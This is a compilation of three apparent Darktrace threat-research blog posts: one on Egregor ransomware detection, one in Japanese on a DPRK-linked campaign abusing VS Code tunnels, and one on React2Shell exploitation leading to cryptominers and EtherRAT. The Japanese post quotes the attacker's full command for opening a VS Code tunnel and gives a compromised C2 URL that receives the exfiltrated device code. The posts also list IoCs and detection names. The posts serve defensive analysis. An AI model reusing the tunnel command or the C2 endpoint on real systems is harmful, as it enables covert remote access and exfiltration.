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December 1, 2021

Darktrace AI Detects Egregor Ransomware On Day One

Discover how Darktrace AI detected the signs of an Egregor ransomware attack on day one of deployment. Stay informed on the latest cybersecurity threats!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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01
Dec 2021

It’s no secret that ransomware has shaped conversations in the SOC this year more than any other topic, as attackers use new malware variants and other sophisticated techniques, tools and procedures to bypass conventional security tools. Not only are these attacks becoming more advanced and difficult to stop, but the ransom demands are growing, with one source suggesting the average ransom demand has grown by over 500% since last year.

To stop novel ransomware attacks, security teams need to turn away from ‘rear-view mirror’ tools trained on previous attacks, and towards AI technology that learns the business from the ground up and autonomously responds with targeted action to contain the threat.

This blog showcases how defenders can fight back against even the most sophisticated attacks, dissecting a recent ransomware attack uncovered by Darktrace’s AI from its first day of deployment at a utility services company. This was a particularly devastating ransomware strain known as Egregor, which has likely been disrupted by a joint effort between law enforcement agencies in Ukraine, France and the US, but wreaked havoc in the winter of 2020/21, affecting 150 companies and demanding ransoms of up to $4 million.

Anatomy of an Egregor attack

Figure 1: A timeline of the attack.

The initial intrusion occurred prior to Darktrace’s deployment, via Emotet, a trojan malware typically spread via spam emails – that has also been disrupted since this attack happened. Had Antigena Email been installed, Darktrace’s AI would have picked up on subtle deviations within malicious emails and actioned a response, containing the ransomware attack in its earliest stages. In this case, Antigena Email was not installed, and so the attack was allowed to proceed.

On November 27, 2020, Darktrace’s AI was deployed and began learning the ‘patterns of life’ for every user and device in the organization. On the first day of learning the organization, the technology detected suspicious external connections on a laptop that was deviating from the ‘pattern of life’ of its peer group of similar devices, beaconing to unusual rare domains that were later associated with malware activity.

Lateral movement and privilege escalation indicators were then observed, as well as possible attempted email hijacking. Darktrace’s AI detected new and unusual svcctl requests, new remote procedure calls, and suspicious executable file writes over SMBv2, as well as new external connections over email-related ports.

Connecting the dots: Cyber AI Analyst investigates

Triggered by this unusual activity, Darktrace’s Cyber AI Analyst launched an investigation into all observable stages of the kill chain including command and control connections, suspicious executable SMB writes and privilege escalation.

It then automatically generated an incident summary showcasing every stage of the attack, surfacing all the information the security team needed for a fast response.

Figure 2: Cyber AI Analyst triaged and reported on the malicious activity from the device, surfacing useful metrics and natural language summaries for each stage of the kill chain.

Figure 3: This graph from the Darktrace UI displays how Cyber AI Analyst detected the various stages of the kill chain and correlated the timeline of events.

Figure 4: Darktrace reveals the spike in external connections in blue for the device and the DCE-RPC requests in green. The dots represent model breaches triggered by the unusual suspicious activity originating from the device. The external connection spikes match the internal DC-RPC request spikes indicating the device is attempting to move laterally during the C2 connections.

In this case, real-time detections from Darktrace’s AI coupled with a high-confidence alert from Darktrace’s SOC team enabled the company’s security team to isolate the device from the network, successfully containing the attack before encryption began.

While having AI-powered detection was enough to stop the attack in this scenario, relying on detection alone is playing with fire. With the average dwell time of attacks shrinking – particularly in the case of ransomware – Autonomous Response is becoming critical in taking action on behalf of human teams. Attackers are increasingly striking out of hours, when these teams aren’t available to respond, and performing exfiltration and encryption rapidly. In these cases, detection without immediate response is futile.

Autonomous Response: Revolutionizing ransomware defense

Recent galvanizing attacks have propelled us into a new era of ransomware. 65% of C-suite and other executives say that ransomware will be a major issue they face over the next twelve months.

An over-reliance on security defenses that depend on rules, signatures, and historical data has proven to leave organizations vulnerable to novel ransomware. Failure to prepare for the unknown often forces businesses into a difficult dilemma when it comes to ransomware: either pull the plug to stop the encryption by taking everything offline, or face encrypted systems, and be confronted with a hefty ransom.

But there is a third way, one which uses Self-Learning AI to understand your organization from the ground up to spot subtle deviations indicative of a cyber-threat, regardless of whether it has been seen before. Moreover, Autonomous Response ensures that fast, precise action will be taken against attacks whenever they occur. While even the most attentive human teams cannot hope to match the machine speed of modern ransomware attacks, Autonomous Response halts these sophisticated threats the moment they emerge. It really is the only way to truly level the playing field against today’s ransomware attacks.

Thanks to Darktrace analyst Dylan Evans for his insights on the above threat find.

Darktrace model breaches:

  • Anomalous Connection / Anomalous SSL without SNI to New External
  • Anomalous Connection / Posting HTTP to IP Without Hostname
  • Experimental / Possible Emotet Callback URL
  • Device / Large Number of Model Breaches
  • Device / Lateral Movement and C2 Activity
  • Compromise / SSL or HTTP Beacon
  • Device / Multiple Lateral Movement Model Breaches
  • Compromise / Suspicious SSL Activity
  • Compromise / Unusual SMB Session and DRS
  • Compromise / Suspicious Spam Activity
  • Compromise / Unusual DRS Activity
  • Anomalous Connection / High Volume of New or Uncommon Service Control
  • Compromise / Beaconing Activity To External Rare
  • Compliance / SMB Drive Write
  • Experimental / Anomalous GetNCChanges and Kerberos Ticket
  • Experimental / New or Uncommon SMB Named Pipe V4
  • Device / Large Number of Connections to New Endpoints
  • Anomalous Connection / New or Uncommon Service Control
  • User / New Admin Credentials on Client
  • Anomalous Connection / Possible Outbound Spam
  • Compromise / New or Repeated to Unusual SSL Port
  • Compromise / Slow Beaconing Activity To External Rare
  • Anomalous Connection / Anomalous SSL without SNI to New External
  • Experimental / New or Uncommon SMB Named Pipe V3
  • Experimental / Anomalous DRSGetNCChanges Operation
  • Anomalous Connection / Possible Callback URL
  • Compromise / Sustained SSL or HTTP Increase
  • Anomalous Connection / Multiple SMB Admin Session
  • Anomalous Connection / Rare External SSL Self-Signed
  • Anomalous Connection / Posting HTTP to IP Without Hostname
  • Device / New Failed External Connections
  • Anomalous Connection / Suspicious Self-Signed SSL
  • Compromise / SSL Beaconing to Rare Destination
  • Compromise / HTTP Beaconing to Rare Destination
  • Experimental / Rare Device TLS Agent

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

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はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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